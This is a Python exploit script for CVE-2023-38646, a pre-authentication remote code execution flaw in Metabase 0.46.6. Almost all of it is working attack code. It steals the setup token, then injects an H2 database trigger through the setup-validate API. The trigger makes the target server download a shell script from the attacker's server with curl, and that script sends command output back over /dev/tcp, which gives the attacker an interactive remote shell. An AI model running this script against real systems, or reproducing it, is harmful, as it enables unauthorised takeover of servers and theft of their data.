1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 |
# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution # Google Dork: N/A # Date: 13-10-2023 # Exploit Author: Musyoka Ian # Vendor Homepage: https://www.metabase.com/ # Software Link: https://www.metabase.com/ # Version: metabase 0.46.6 # Tested on: Ubuntu 22.04, metabase 0.46.6 # CVE : CVE-2023-38646 #!/usr/bin/env python3 import socket from http.server import HTTPServer, BaseHTTPRequestHandler from typing import Any import requests from socketserver import ThreadingMixIn import threading import sys import argparse from termcolor import colored from cmd import Cmd import re from base64 import b64decode class Termial(Cmd): prompt = "metabase_shell > " def default(self,args): shell(args) class Handler(BaseHTTPRequestHandler): def do_GET(self): global success if self.path == "/exploitable": self.send_response(200) self.end_headers() self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0> /dev/tcp/{argument.lhost}/{argument.lport}".encode()) success = True else: print(self.path) #sys.exit(1) def log_message(self, format: str, *args: Any) -> None: return None class Server(HTTPServer): pass def run(): global httpserver httpserver = Server(("0.0.0.0", argument.sport), Handler) httpserver.serve_forever() def exploit(): global success, setup_token print(colored("[*] Retriving setup token", "green")) setuptoken_request = requests.get(f"{argument.url}/api/session/properties") setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1) print(colored(f"[+] Setup token: {setup_token}", "green")) print(colored("[*] Tesing if metabase is vulnerable", "green")) payload = { "token": setup_token, "details": { "is_on_demand": False, "is_full_sync": False, "is_sample": False, "cache_ttl": None, "refingerprint": False, "auto_run_queries": True, "schedules": {}, "details": { "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;", "advanced-options": False, "ssl": True }, "name": "an-sec-research-musyoka", "engine": "h2" } } timer = 0 print(colored(f"[+] Starting http server on port {argument.sport}", "blue")) thread = threading.Thread(target=run, ) thread.start() while timer != 120: test = requests.post(f"{argument.url}/api/setup/validate", json=payload) if success == True : print(colored("[+] Metabase version seems exploitable", "green")) break elif timer == 120: print(colored("[-] Service does not seem exploitable exiting ......", "red")) sys.exit(1) print(colored("[+] Exploiting the server", "red")) terminal = Termial() terminal.cmdloop() def shell(command): global setup_token, payload2 payload2 = { "token": setup_token, "details": { "is_on_demand": False, "is_full_sync": False, "is_sample": False, "cache_ttl": None, "refingerprint": False, "auto_run_queries": True, "schedules": {}, "details": { "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x", "advanced-options": False, "ssl": True }, "name": "an-sec-research-team", "engine": "h2" } } output = requests.post(f"{argument.url}/api/setup/validate", json=payload2) bind_thread = threading.Thread(target=bind_function, ) bind_thread.start() #updating the payload payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x" requests.post(f"{argument.url}/api/setup/validate", json=payload2) #print(output.text) def bind_function(): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0", argument.lport)) sock.listen() conn, addr = sock.accept() data = conn.recv(10240).decode("ascii") print(f"\n{(b64decode(data)).decode()}") except Exception as ex: print(colored(f"[-] Error: {ex}", "red")) pass if __name__ == "__main__": print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta")) args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]") args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True) args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True) args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True) args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True) argument= args.parse_args() if argument.url.endswith("/"): argument.url = argument.url[:-1] success = False exploit() |